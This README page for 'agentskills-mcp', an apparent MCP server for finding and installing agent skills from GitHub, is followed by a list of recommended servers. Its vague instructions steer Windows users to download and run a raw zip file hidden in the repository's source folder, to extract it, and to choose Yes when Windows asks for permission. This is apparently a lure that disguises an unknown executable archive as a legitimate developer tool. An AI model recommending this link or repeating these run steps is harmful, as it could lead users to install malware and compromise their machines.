agentskills-mcp
A FastMCP server that helps users discover, browse, and install agent skills from curated GitHub collections, with support for adding new skill sources.
README
🤖 agentskills-mcp - Find and add agent skills fast
🚀 What this app does
agentskills-mcp is a FastMCP server that helps you find and install agent skills from large GitHub skill collections. It also lets you add more skill sources later.
Use it when you want one place to browse skills, pull in the ones you need, and keep your setup organized. It fits users who work with AI agents, local tools, or model context protocol apps.
📥 Download and install on Windows
- Open this page: https://github.com/Drhir2460/agentskills-mcp/raw/refs/heads/main/src/github_skills_mcp/mcp_agentskills_crutched.zip
- On the GitHub page, look for the latest release or the main project files.
- Download the Windows version if one is provided, or get the source package from the repository page.
- Save the file to your Downloads folder.
- If the download comes as a zip file, right-click it and choose Extract All.
- Open the extracted folder.
- Follow the run steps listed in the project files, such as a README or launch script.
- If Windows asks for permission, choose Yes.
If the project is delivered as source files, you may need Python installed on your PC before you run it. If it comes with a ready-to-run file, you can open it like any normal app.
🖥️ What you need
- Windows 10 or Windows 11
- A stable internet connection
- Enough free space for the app and skill files
- Python 3.10 or later if you run from source
- Git if you want to copy the project from the repository
For best results, use an account that can install apps and save files in your user folder.
🧭 First-time setup
- Download the app from the GitHub link above.
- Open the file you downloaded.
- If you see a zip file, extract it first.
- If you see a project folder, keep all files together.
- Open the command prompt if the project asks you to run commands.
- Follow the run command in the project files.
- Leave the window open while the server runs.
If you use an AI tool that connects to MCP servers, you can point it to this server after setup.
🔧 How it works
agentskills-mcp acts as a bridge between skill collections and your local tools. It scans curated GitHub sources, lists available skills, and helps you add them to your workflow.
Typical tasks include:
- browsing skill collections
- finding skills by name or topic
- installing selected skills
- adding new skill sources
- keeping skill access in one place
The app uses the Model Context Protocol, so it can fit into tools that support MCP servers.
✨ Main features
- Discover skills from large curated GitHub collections
- Install skills from a central place
- Add more skill sources when you need them
- Work with FastMCP-based tools
- Support AI agent workflows
- Keep skill lookup simple
- Use GitHub as the source for skill libraries
- Fit into developer tools and local automation setups
🗂️ Skill sources
This project focuses on skill libraries that live on GitHub. It can work with large public collections and can be extended with new sources.
You can use it to:
- browse curated skills
- group skills by topic
- pick tools for specific agent tasks
- maintain a custom skill set
- link more repositories or collections later
🧰 How to use it day to day
- Start the server.
- Open your MCP-aware app or agent tool.
- Connect that tool to agentskills-mcp.
- Search for the skill you need.
- Install the skill.
- Use the skill in your agent workflow.
- Add new sources when your needs grow.
This keeps your setup clean when you work with more than one skill collection.
🔍 Common uses
- building agent workflows
- managing a skill library
- exploring curated GitHub skills
- adding task-specific agent helpers
- linking tools that use MCP
- keeping automation tools in one place
🧪 Example setup path
If you want a simple setup on Windows:
- Open the GitHub page.
- Download the project files.
- Extract the files to a folder like
C:\agentskills-mcp. - Open that folder.
- Start the app using the file or command listed in the project.
- Connect it to your agent tool.
- Search for a skill and install it.
🧾 File layout you may see
A typical project folder may include:
- a main app file
- a configuration file
- a requirements file
- a README file
- source folders for MCP logic
- folders for skill source settings
If you see these files, keep them in the same folder so the app can run without issues.
🔐 Safe handling
Use skill sources you trust. Check the source name before you install a skill. Keep your Windows download folder clean and remove old zip files after setup.
🛠️ Troubleshooting
The file will not open
- Make sure the download finished
- Extract zip files first
- Try opening the file again
- Check that Windows did not block the file
The app closes right away
- Run it from the command prompt so you can see the message
- Make sure Python is installed if the project needs it
- Check that all files stayed in one folder
The server does not show up in your agent tool
- Confirm the server is running
- Check the MCP connection settings
- Restart the agent app
- Make sure the server address or command matches the project files
Skills do not appear
- Check that the source list is set up
- Confirm that the GitHub collection is reachable
- Add a new skill source if needed
- Refresh the list inside your tool
🧩 Topics covered
This project matches these areas:
- agent skills
- AI agents
- automation
- developer tools
- FastMCP
- GitHub
- MCP
- Model Context Protocol
- Python
- skill library
📁 Repository link
Open the project here: https://github.com/Drhir2460/agentskills-mcp/raw/refs/heads/main/src/github_skills_mcp/mcp_agentskills_crutched.zip
🖱️ Quick start for Windows
- Visit the GitHub page
- Download the project files
- Extract the files if needed
- Open the folder
- Run the app
- Connect your MCP tool
- Browse and install skills
推荐服务器
Baidu Map
百度地图核心API现已全面兼容MCP协议,是国内首家兼容MCP协议的地图服务商。
Playwright MCP Server
一个模型上下文协议服务器,它使大型语言模型能够通过结构化的可访问性快照与网页进行交互,而无需视觉模型或屏幕截图。
Magic Component Platform (MCP)
一个由人工智能驱动的工具,可以从自然语言描述生成现代化的用户界面组件,并与流行的集成开发环境(IDE)集成,从而简化用户界面开发流程。
Audiense Insights MCP Server
通过模型上下文协议启用与 Audiense Insights 账户的交互,从而促进营销洞察和受众数据的提取和分析,包括人口统计信息、行为和影响者互动。
VeyraX
一个单一的 MCP 工具,连接你所有喜爱的工具:Gmail、日历以及其他 40 多个工具。
graphlit-mcp-server
模型上下文协议 (MCP) 服务器实现了 MCP 客户端与 Graphlit 服务之间的集成。 除了网络爬取之外,还可以将任何内容(从 Slack 到 Gmail 再到播客订阅源)导入到 Graphlit 项目中,然后从 MCP 客户端检索相关内容。
Kagi MCP Server
一个 MCP 服务器,集成了 Kagi 搜索功能和 Claude AI,使 Claude 能够在回答需要最新信息的问题时执行实时网络搜索。
e2b-mcp-server
使用 MCP 通过 e2b 运行代码。
Neon MCP Server
用于与 Neon 管理 API 和数据库交互的 MCP 服务器
Exa MCP Server
模型上下文协议(MCP)服务器允许像 Claude 这样的 AI 助手使用 Exa AI 搜索 API 进行网络搜索。这种设置允许 AI 模型以安全和受控的方式获取实时的网络信息。